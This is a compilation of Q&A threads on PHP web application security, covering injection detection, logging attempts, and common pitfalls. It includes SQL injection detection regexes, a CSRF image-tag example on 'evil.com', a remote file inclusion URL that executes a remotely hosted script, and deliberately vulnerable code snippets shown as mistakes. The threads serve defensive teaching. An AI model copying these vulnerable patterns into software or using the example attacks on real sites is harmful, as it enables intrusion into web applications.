Detecting exploits in web applications and how to proceed - php

What ways are there for detecting exploits in PHP/MySQL web applications (checking for certain characters or pieces of codes in the GET, POST, COOKIE arrays / using a library with a database that has all the patterns for common exploits, if any exist?) and how should I proceed when one is detected?
For example, if someone tried to find a SQL injection in my PHP/MySQL web application using the GET request method, should I store the action performed by the user in the database, have the application send me an e-mail, IP ban the user and display him/her a message "Sorry, but we have detected a harmful action from your account that will be reviewed. Your account has been disabled and certain features may be disabled from your IP address. If this is a mistake, please e-mail us with all the details."
Thanks.

Three things come to mind:
defensive coding, sanitize all input, prepare sql statements and use Suhosin
increase security of your site by breaking into it with a vulnerability scanner
log hacking attemtps with an Intrusion Detection System
If you feel a full fledged IDS is too much, try PHP IDS, as it does pretty much what you are asking for out of the box. Note that detecting intrusions at the PHP level might already be too late though to prevent an attack.
In case of a successful intrusion, I guess your best bet is taking the server offline and see what damage was done. You might have to consider hiring someone to do a forensic analysis of the machine in case you need to collect legally usable evidence.
If you feel you need to react to unsuccessful intrusion attempts and got the malicious user's IP, find out the ISP and inform him with as much details of the intrusion attempt as possible. Most ISPs have an abuse contact for these cases.

Your question is twofold and I'll answer the second part.
Log everything but do not ban or display any message. It will be embarrassing in case of a false positive. As a general rule, try to build an application that can deal with any sort of user input without a problem.

just use strip_tags() on all $_REQUEST and $_COOKIE vars to take care of code showing up in these vars, as for SQL you would have to maybe write up a query-like regex or something, but this shouldnt be an issue as you should always mysql_real_escape_string($str) all variables in your queries. try something like this though.
function look_for_code_and_mail_admin($str) {
$allowed_tags = "<a>,<br>,<p>";
if($str != strip_tags($str, $allowed_tags)) {
$send_email_to = "some#bodys.email";
$subject = "some subject";
$body = "email body";
mail($send_email_to,$subject,$body);
}
return($str);
}

Um, I can't remember the last time I've seen a site that tries to log SQL injection attacks that I wasn't able to penetrate..
You don't need to worry about weather someone is attacking the site, as it is subjective at best as to weather something is an attack or not. What if the site base64 encodes some values and decodes them before it uses it? Your IDS is not going to catch that. What if a user wants to post a snippet of code, it gets detected as an exploit because it contains SQL? This is such a waste of time... If you really need to know if someone's attacking you, just install some IDS on a seperate machine with readonly access to the incoming traffic.. I say seperate machine, because many IDS are vulnerable themselves, and will only make the situation worse.
Use standard secure programming methodologies, use paramaterized SQL queries or an ORM.

Seems like too much work with the email bit and everything to me. Aside from that, I like to run around on sites I commonly use and try to find injectable points so I can warn the administrator about it. Would you IP ban me for that?
I suggest hunting down the exploitable parts yourself and sanitizing where necessary. Acunetix has a very very good program for that. If you don't feel like shelling out the giant price for Acunetix, there are some very good firefox addons called XSS Me and SQL Inject me you might want to look into.

Related

Is there anything I need to worry about besides SQL injections and XSS attacks?

I'm finishing up my first "real" PHP application and I am trying to make sure it is secure. I'm kind of afraid that since I'm not an "expert" PHP programmer that I might be missing something huge, so I would like to give you some information about my application and hopefully you can tell me whether or not that is the case. So here we go:
I'm using a CMS to handle user authentication, so I don't have to
worry about that.
After discovering PDO shortly after starting work
on my application, I ported all of my code over to using prepared
statements with PDO.
I am escaping all form and database data (even stuff I think is safe) which is being output with htmlentities().
My application does use a session variable and cookie variable, but the function of both is very unimportant.
I have designed my form processing functions in such a way that it doesn't matter if the form were somehow altered, or submitted from off-server (i.e. I always check the data submitted to ensure it's valid).
I have done my best to make all error messages and exception messages polite but very obscure.
I'm forcing pages with sensitive information (such as the login page) to be served over https.
When I first starting writing my application, I didn't know about prepared statements, which is kind of a huge deal. Have I missed anything else?
OWASP maintains a list of the Top 10 Most Critical Web Application Security Risks (warning, PDF download). This is from 2010, but I think it still applies, perhaps even moreso now.
Injection and XSS are the top two, but you should certainly be aware of the other 8. If you are using an existing CMS, many of these may already be considered, but the more popular the CMS the more you risk running into vulnerabilities because of black hats trying to find holes in it.
If you are not storing critical data like credit cards, order history, addresses, and even emails, then I wouldn't worry too much about your site being affected as long as you are taking the basic precautionary measures (and it sounds like you are).
If you are concerned about security issues, a good resource is the OWASP - Top 10 Application Security Risks
The most important thing to take care in web applications(specially PHPs') is Data Validation of all the inputs taken from the user which are further saved in your database.
For a secure application, all the transactions should be done on HTTPS. For a secure cookie management Secure and HTTPOnly cookie should be implemented.
Some more points I don't see mentioned yet. Most of these are not related to code - I am not sure if you only wished for things related to code, but I'll mention them anyway.
Backups (user data). should be self-evident
Version control. If you have a big bug, you want to have access to the previous version.
Audit trail, alarms and logging. If you do get into trouble, how will you find out? Are you able to track down what happened? if you know something is wrong but don't fully know what, are you able to diagnoze the issue?
Hosting. Where are you hosting? Do you have adequade bandwidth and monitoring? What happens if you get DOSed? Are you able to block out unwanted traffic?
Caching. Can you change it if needed?
There's always one thing left. Availability :) There are three aspects of security:
Confidentiality (Noone can read what they don't have access to)
Integrity (Noone can change any data what they should have to and you have to be able to detect if it happened even so)
Availability (The data, application whatever has to be available)
You pretty much did a nice job and took care of the first two (credentials, prepared statements, htmlentities...) but none of them will help against a DoS attack. You should be able to detect if someone slaps your site and ban the attackers ip from your server. Although this can be done in PHP (still much better to kick the attacker at the first line of php than let them initialize the framework, database connections etv.) it can be done mre effectively in lower layers (for example: nginx/apache, iptables, snort).
However what you're asking for that usually comes to the matter of risk management. In a real application you're not able to be prepared for all the possible attacks, edge cases etc. What you need to do is classify all the risks by the probability and the impact ( http://www.jiscinfonet.ac.uk/InfoKits/infokit-related-files/Resources/Images/risk-matrix ). With this you can focus on the most important (highest) risks first and probably you can completely ignore the lower bottom part.
SQL Injection and XSS are the most prominent Hacking methods.
You are covered from SQL Injections if you use prepared statements.
Also, if htmlentities() on everywhere you display HTML you should be safe.

Detecting potential SQL injection attacks, as well as other security issues

We all know it is nearly impossible to produce a large website without one or two flaws. As such I've written a small monitor that checks Apache access logs for potential SQL injection attacks (amongst other things), and it's working very well. I get an alert whenever someone attempts an attack, and I've had so few false positives that the default action is now to dump them into an iptables drop list. It's even helped me identify a few (non-security) bugs and remove them.
Here's my rules (case insensitive):
PathInjection = \./\.\./(bin|boot|data|dev|etc|home|lib|lib64|media|mnt|opt|proc|root|sbin|selinux|srv|sys|tmp|usr|var)/
Havij = 0x31303235343830303536
r3dm0v3 = 0x7233646D3076335F68766A5F696E6A656374696F6E
LogicBypass = '.*?(\bor|\band|\bxor|\|\||\&\&).*?--
UnionSelect = union[^a-z-_]+((all|distinct)[^a-z-_]+)?select[^a-z-_]
What I'd like to know is, how would you bypass these checks and still produce a valid injection? Can you think of a way to improve them without introducing false positives?
A few notes:
Case sensitivity is switched off.
I'm using MySQL.
The Havij and r3dm0v3 entries are used as a catch-all to prevent use of those automation tools.
I'm checking both raw and urldecoded strings.
I'm not looking for answers like "make more secure code instead".
I'm not looking for a different way to do this, just a way to improve my current logic.
EDIT:
Ok, so people seem to have misunderstood my intent. That's probably my fault, since I didn't fully explain. This is being requested as a tacked-on feature to a monitoring product, and is designed to offer minimal security monitoring. As part of our dialog with the client and our documentation, we're emphasising that this is not a catch-all, nor is it a replacement for proper security infrastructure (e.g. an IDS and firewall). It's simply an informational service to help provide basic threat detection and produce statistics about the number of potential attacks. I'm not trying to write an IDS or firewall. If it were up to me, I'd leave the feature out and tell them to go install a full suite of security infrastructure with its own monitoring systems, but this isn't my call. The current situation is that I've been testing the system on my own site. Right now, I'm just looking for a way to improve the regex strings to make this more effective. Hopefully this clears things up a little.
Edit again, in June 2021.
I posted this question back in 2011. Back when I wrote it I was a junior developer with an interest in security but lacking experience. Since then I've switched careers to security, worked as a pentester for 5 years, and a security researcher for another two. I'm also one of the top reputation users on Security StackExchange.
The answers given here are mostly correct - there's far more value in deploying something like ModSecurity with appropriate rules, since they've already done the work. A tacked on homebrew solution is not going to compare to a project with almost two decades of maturity.
The one major caveat, though, is that I was not making the decisions. Junior developers usually have neither the privilege nor latitude to veto product decisions made by management, especially those made at the request of a customer. One can certainly explain why an idea is bad, and provide supporting material, but that often doesn't translate into changed decisions. Being able to refuse a task from your employer without consequence is an unusual privilege - the concept is a complete fantasy in the context of most employment.
My advice for folks who respond to these types of question is this: explain why it is ill-advised, but be sympathetic and helpful to those who are in a difficult position. Actually answer the question, wherever possible, so that a best-effort solution can be implemented if all else fails. In the context of security features, it's also worth considering that if the alternative is no protection or detection at all - even if that alternative is artificially being imposed by external actors - a weak capability is almost always better than no capability at all.
I don't remember what I ended up implementing for this. It was so long ago. But if you're here now, looking for answers, I recommend using ModSecurity. They now have connectors for Apache, nginx, and IIS, so you can install it on any of those web servers. If changing the server configuration is problematic, you could instead run nginx as a reverse proxy with ModSecurity enabled, so that users hit the nginx server and it proxies the requests to your actual web server. This can also be done with Apache instead.
If you're looking for a more programmatic approach, ModSecurity has language bindings for C, C++, and Python. The ModSecurity API can also be consumed via any language that has interoperability support for C APIs (e.g. P/Invoke in .NET, or JNI in Java).
ModSecurity works on rules. One of the best free rule sets out there is OWASP Core Rule Set (CRS). The rules are significantly more powerful than simple regex patterns. This makes them very effective, but it also means that you probably shouldn't try to build your own ModSecurity-like internal feature that consumes the rules, because you'd need to put in a ton of work to support all the necessary features.
If you need to parse ModSecurity logs into a format that can be automated upon, take a look at ModSecurity Log Utilities.
Hopefull this info is of use to someone in future.
You're talking about writing an IDS. Unless your product is an IDS, just get and install one. Snort is well-known and has a free version.
I'm not looking for a different way to do this, just a way to improve my current logic.
Sometimes when it comes to security, the wrong approach simply is. How would I mess with your current logic? Unicode or hex encoding.
Here is a nice example of IT threat detection using deep-neural-network vector embedding and a similarity search engine.
Can you think of a way to improve them without introducing false positives?
I wouldn't think of improving this silly approach at all. I'd rather improve the site security itself.
We all know it is nearly impossible to produce a large website without one or two flaws.
I disagree with that. At least for SQL injections. Injections are quite silly thing and protection is not a big deal.
sql injection is top rated web Application attack these days. There are many insecure code over the net and also there are several ways to protect application from sql injection attacks. sql injection can occur when an application uses input to construct dynamic sql statements or when it uses stored procedures to connect to the database. Methods of sql injection exploitation are classified according to the DBMS type and exploitation conditions Vulnerable request can implement Insert, update, delete. It is possible to inject sql code into any part of sql request Blind sql injection Features of sql implementations used in various dbms. Successful sql injection attacks enable attackers to execute commands in an application's database and also take over the server.
my recommendation:
Basically, make sure your web server is up-to-date with latest security fixes/patches.
Make sure you have filter every user input and output as proper encoding like UTF-8.
Read the full testing guide: https://www.owasp.org/images/8/89/OWASP_Testing_Guide_V3.pdf
try tom imlement web application scanner , check this link http://trac.ush.it/ush/wiki/SecurityTools
I do ex. watchfile now IBM aapscan tools http://www-01.ibm.com/software/rational/offerings/websecurity/ to scan all my web application
check google more how to protect against sql injection
Microsft http://msdn.microsoft.com/en-us/library/ms998271.aspx
http://www.sans.org/ "sql injection"
WASC: http://projects.webappsec.org/SQL-Injection
OWASP: http://www.owasp.org/index.php/SQL_Injection
CodeProject http://www.codeproject.com/KB/database/SqlInjectionAttacks.aspx

How necessary is using PHP filters?

I'm a relative newbie to PHP and just making my way through the W3Schools tut.
The tut makes a big point of saying you must always filter external data (i.e. cookies, form data etc).
I'm writing a fairly simple system that talks with a third party Joomla extension. It's at a prototype stage where I'm just wanting to demonstrate the functionality in a minimum viable product.
Basically, I'd like to know... what's the worst that could happen in I don't filter content. Are we talking 'I might get a bunch of spam', or 'a good hacker could get root server access'?
Have hunted around online, but would love any of your experience / insight on the matter!
If you don't filter the input data, your site will probably be prone to an SQL injection attack. Check this site. It contains a humorous comic, quite famous too. It depicts the problem of SQL injection quite clearly :).
A good hacker could theoretically get root access.
If you don't filter content that goes into database queries, the database will run whatever was put into the query.
In that case, the hacker might be able to download a database full of usernames and passwords. Which you certainly don't want. Especially if your root passwords are in there because you've used the same password twice. Or they might just delete your database altogether. I've read reports of that happening.

Is using obscure names for login fields pointless

My php user authentication script is based on code from someone who, at the time, was a much better coder than me. As such I trusted that the parts I didn't quite see the point of were better left alone unless I had a good reason to change them. I've since improved and have my own ideas of what should be done.
One of the things in this script is allow you to define (and easily change) a custom name for the html login and password fields.
I guess if someone is trying to brute force their way into an account this would allow you to confuse their script until they notice and react, but otherwise I just don't see the point.
Can anyone explain any real benefit of this before I simplify my script and strip this out?
I'm afraid there is no real benefit at all, password fields will always be type="password" in HTML which alone pretty much proves the pointlessness.
Other reasons against, any client side app will look at the HTTP requests and responses or the 'password' input (can still do both), intermediary attacks will look at HTTP / TCP packets, and brute force attacks will still brute force (although why they'd bruteforce a 'login' to a site rather than ssh, open ports or try to use known exploits is beyond me.
Hope that helps
It's usually an attempt to avoid automatic spiders crawling for login pages that they might be able to brute-force. Whether or not it's effective is questionable; but either way if you think it makes the code more complex than it should be, then it probably shouldn't be there.
This is probably used to prevent attacks targeting many computers, ie. not a brute force which tries to access your website, but attacks which tries to access any website within a range of IP addresses.
I frequently see in server logs attacks trying to exploit old phpMyAdmin bugs or other frequently used services, even if I don't have any phpMyAdmin on my website. This is quite similar.
Security by Obscurity is no kind of security!
I could just search for input fields and assume that the first one was login and the second one of type="password" is password on the form regardless of their names. This won't stop anyone with even a passing knowledge of HTML and Javascript. A simple Python program using Beautiful Soup and 10 minutes will by pass this "security" for just about anyone that wants to. The barrier to entry of Python, HTML and Javascript is extremely low.
If anyone thinks different they haven't had to deal with having to patch up systems that were breached over and over because of "clever" "security" because these bad assumptions that "it makes it not worth it", if there is money even small amounts of money, it will be worth it for someone out there in the world, that has free time and no other income. And that doesn't even begin to cover the worse problem which is the oft denegrated "script kiddie" griefers that hack things just to be hacking them and causing havoc for fun.
The only advantage I can think of is that with all of the easily exploitable websites out there, attackers probably won't even bother with yours if it takes even minimal effort. I'm not sure if it's useful if these things don't change automatically though (since you're not likely to change them manually very often).
On the other hand, if your passwords are vulnerable to a dictionary attack, it's unlikely that anyone would ever break them like this anyway.

Common unknown PHP security pitfalls

I know questions like this have been asked a hundred of times, but mine is a little different.
I know about all the common and widely-known security issues like SQL injection, XSS etc. But what about issues that often appear but are not recognized most of the times or not judged as vulnerabilities? Are there any?
One thing I've seen a lot that gets developed as a feature and not seen as a security hole until it's too late are state-changing GET requests. These can easily result in cross-site request forgery. For example, your application could have a link to http://mysite.com/logout which logs users out. But a third party site can add code like this:
<!-- on evil.com site -->
<img src="http://mysite.com/logout">
Then when users load the page on evil.com, they are logged out of mysite.com!
The worst problems happen when sites implement an API using state-changing GET requests. For example, if I ran a social networking site with urls like site.com/addfriend, site.com/sendmessage, etc. and I gave out those urls to developers who were going to make applications for my site, the developers would have to deal with an API change when the security vulnerability was discovered.
Using $_REQUEST instead of $_GET or $_POST, which is a bad idea because $_REQUEST also contains cookies, and it opens the door for Variable Fixation
Not really PHP-specific, applies to all the interpreted languages: visibility of .svn/.CVS directories
Here are a few that I've worked on:
Storing passwords as plaintext in a DB
If your site is hacked, hackers have access to all of your users' passwords and emails. Consider how many users have the same password for their email as well as your site.
Storing emails in the same table as your users
If a SQL injection attack gives a hacker access to your user table, one of the only pieces of valuable information is the email address. Keep it in a separate table to make it more difficult for the hacker.
If you don't intend on emailing the user, only store the hash of their email: a hacker that gets access to user emails can sell them to spammers.
Even if you have a password-protected site, do the math as to how secure the password are. I had a friend whose site used a simple 5-digit number for passwords. I cracked it in
about an hour.
If you're sending communications that have value (i.e.: you're performing an operation that uses a significant amount of resources: cpu, memory, etc.), always require a token from the user that's timestamped.
If a hacker finds that you have an operation that costs you $0.0001 every time it's hit, they can farm out a botnet to rack up charges on your name.
Require the user send a hash (a unique ID for the user, a timestamp, and a secret salt) along with a plaintext timestamp. The plaintext timestamp lets you validate that you didn't give them permission last Tuesday, the timestamp in the hash lets you validate that the has belongs with that message, the UID in the has ensures that the hacker didn't jack the request from someone else, and the secret salt in the hash ensures that they didn't generate it on their own.
If you're writing a plugin system for an application, be wary of what you store in private variables. Check out this article I wrote on how to lock it down.
Just a few ideas and things I've dealt with. Hope it helps!
I worked on a pile of junk once where fopen handlers were enabled as was "register globals." The includes looked like:
<?php
include $MY_BASE . '/includes/myLib.inc';
?>
What this allowed anyone to do is remotely execute any code they wanted. Behold:
http://exploitablehost.com/?MY_BASE=http://viagra.cheeper.com/myScript.txt%3f
PHP will fetch the text file over HTTP and execute it locally. Since Apache was running as root... well, you get the idea.
Lack of procedures to protect against social engineering attacks? For example, an attacker calling an office and impersonating someone for the purpose of obtaining passwords.
Poor password-creation, distribution, and protection policy.
FTP account cracking can result in malicious code being uploaded to your site.
Weak/vulnerable third-party hosting servers can result in your site being compromised no matter how much time you spent making it secure.
Here are some of the common pitfalls i have seen:
1. Not escaping entities
It's basic knowledge; ALL untrusted input (especially user input from forms) has to be sanitized before it is being output.
echo $_GET['username'];
2. Not Escaping SQL input
$query = "select * fromt able where id = {$_GET['id']}";
3. Requiring and including files incorrectly
include($_GET['filename']);
4. Double escaping quotes
If magic_quotes_gpc is true, then using addslahes will add one more slash
thereby adding two slashes in all.
PHP has been around for more than 10 years and it matured a lot.
Beware of lax defaults in php.ini.
Many of the posts are not specific to PHP. I am sure there are some language pitfalls but as you see in the posts it is very important to implement best practices in security (like filtering user input). A good start for secure web apps is OWASP. And to be on topic: Security Issues in PHP on OWASP.
Cheers

Categories